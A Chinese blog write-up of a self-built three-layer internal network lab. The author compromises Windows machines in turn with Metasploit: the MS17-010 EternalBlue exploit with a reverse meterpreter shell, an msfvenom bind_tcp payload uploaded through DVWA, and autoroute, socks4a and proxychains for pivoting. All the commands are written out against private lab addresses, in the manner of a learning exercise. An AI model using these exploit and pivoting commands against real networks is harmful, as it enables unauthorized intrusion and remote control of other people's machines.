MSF学习-端口转发代理及路由功能-三层内网靶场渗透

前言

其实是受这篇文章影响-三层网络靶场搭建&MSF内网渗透

一般实战和CTF中经常会碰到多重内网的问题,要想渗透多重内网,经常会用到msf的转发代理路由功能,所以受上面文章影响,我准备自己搭一个简易的三层内网,然后利用msf的这些功能进行一次小型模拟多重内网的渗透

前期准备

系统:

  1. Kali Linux (攻击机)
  2. Windows 7 (靶机1)
  3. Windows 2003(靶机2)
  4. Windows 10(靶机3)

网络拓扑:

​ Kali Linux Windows7 Windows 2003

​ Windows7 Windows 2003 Windows 10

​ 内网 1 内网2 内网3

漏洞类型:

  • Windows7: MS17-010
  • Windows 2003: Web洞
  • Windows 10:Web洞

操作:

​ 打开虚拟网络编辑器

1551171831097

点击添加网络,新建三个子网,类型全部为仅主机模式,我的为net 3,4,5

1551171896680

设置4台虚拟机为上诉拓扑图所示的环境,kali设置net3,Windows 7设置net3 和 net4完成网络拓扑

以Windows7为例

1551172132381

1551172164079

1551172210570

完成全部的网络拓扑后,前期准备完成

内网渗透

靶机1

打开kali,ifconfig发现第一层的内网段为192.168.174.0/24

通过nmap扫描,寻找第一个靶机的IP地址

1551173170901

找到Windows 7的ip地址为192.168.174.129

ms17-010

通过msf ms17-010攻陷第一台靶机

use exploit/windows/smb/ms17_010_eternalblue 

set rhost 192.168.174.129

set LHOST 192.168.174.128

set payload windows/x64/meterpreter/reverse_tcp

exploit

#如果不设置 payload为reverse_tcp,攻陷后直接获得靶机1的cmd而不是meterpreter

成功拿到第一台主机的meterpreter

靶机2

由于我们的MSF无法直接访问第二层的Windows 2003,这时候有几种方法,一种是通过MSF自带的autoroute功能自动添加路由,但是只有MSF能访问到第二层的内网。然后第二种是通过socks4模块添加socks代理,然后可以通过proxychain和浏览器代理使所有应用都可以通过代理访问到第二层内网

通过ipconfig找到Windows7的第二张网卡内网为192.168.168.0/24

1551179837746

autoroute

先通过autoroute添加msf的路由

run autoroute -s 192.168.168

1551179854900

auxiliary/scanner/portscan/tcp模块

然后进行第二层内网的主机发现

#由于已知靶机2开了80,所以使用portscan/tcp模块
#arp_sweep使用报错,所以就不用了
use auxiliary/scanner/portscan/tcp

1551182381047

1551182541743

由于靶机1(windows7的ip为192.168.168.128)所以得到靶机2的ip为192.168.168.129

由于靶机二是web洞,我们需要进行代理使所有应用可以访问到第二层内网(autoroute作用的是msf的上下文)

socks4a模块

use auxiliary/server/socks4a

set SRVPORT 9999

exploit

1551182892558

此时我们通过meterpreter隧道开了一个代理,为了方便我们渗透,我们通过浏览器设置,连上这个代理进行下一步配置(这个代理端口默认开在本机,连上代理相当于可以访问msf上下文的所有路由,即可以访问之前通过autoroute添加的路由)

浏览器设置sock4代理

1551184220172

此时浏览器已经可以访问msf上下文的路由,即我们可以访问192.168.168.0/24段,我们访问靶机2的ip

1551184286632

然后进行常规的web渗透,发现DVWA,上传无限制,上传msf马,连接攻陷第二个靶机

注意:由于msf添加的路由全为正向连接,即我们可以访问到靶机但靶机不能反向访问到我们,所以在选择msf马的payload时,不选择reverse_tcp反向连接payload,而是选择bind_tcp正向连接payload,bind_tcp不需要设置请求的ip,会在目标主机开启一个端口,然后我们攻击机去访问目标主机的端口即可攻陷

msfvenom -p windows/meterpreter/bind_tcp LPORT=8888 -f exe > shell.exe
#生成马
use exploit/multi/handler

set PAYLOAD windows/meterpreter/bind_tcp

set RHOST 192.168.168.129    #靶机ip

set LPORT 8888    #靶机绑定的端口

set ExitOnSession false

exploit -j -z 

成功攻陷第二个靶机

靶机3

添加第三层内网的路由

SocksCap64

这里推荐一个软件,平常我们使用小飞机的时候,往往只有配置浏览器,然后只有浏览器才能走小飞机的流量,如果我们想让其他windows应用也走小飞机或代理的流量,可以使用这个SocksCap64软件,网上有也可以加我QQ要

1551270713585

proxychains

ProxyChains是一款适用于linux系统的网络代理设置工具,比如如果你想配置nmap sqlmap等命令行工具的代理,可以通过配置ProxyChains然后通过 ProxyChains nmap 或ProxyChains sqlmap的命令,即命令行工具可以通过proxychain走代理流量

上面配置的autoroute只能使msf上下文能访问到第三层内网,如果我们想其他工具能访问到第三层内网,我们可以通过proxychains + socks4a (socks4a即开一个代理服务器,让其它应用可以走msf的路由)

配置proxychains

vim /etc/proxychains.conf

在最后一行加入或修改代理服务器的ip和port,我们之前设置端口为9999

1551271545865

这里有个坑,proxychains ping 是不能执行成功的,因为ping是ICMP协议,sock无法代理,所以用nmap扫描的时候,需要带上-Pn -sT

proxychains nmap -Pn -sT 192.168.238.0/24 -p80

# -Pn代表不进行Ping扫描

# -sT代表进行TCP扫描

成功发现第三层内网的靶机3 ip为 192.168.238.130

同样DVWA,类比靶机2拿下,flag在根目录

1551273603345

1551273562356

参考文章

三层网络靶场搭建&MSF内网渗透

图解Meterpreter实现网络穿透的方法

通向彼岸 之内网代理转发 msf中的socs4a模块使用及meterpreter多级内网穿透

Ubuntu系统中使用ProxyChains设置网络代理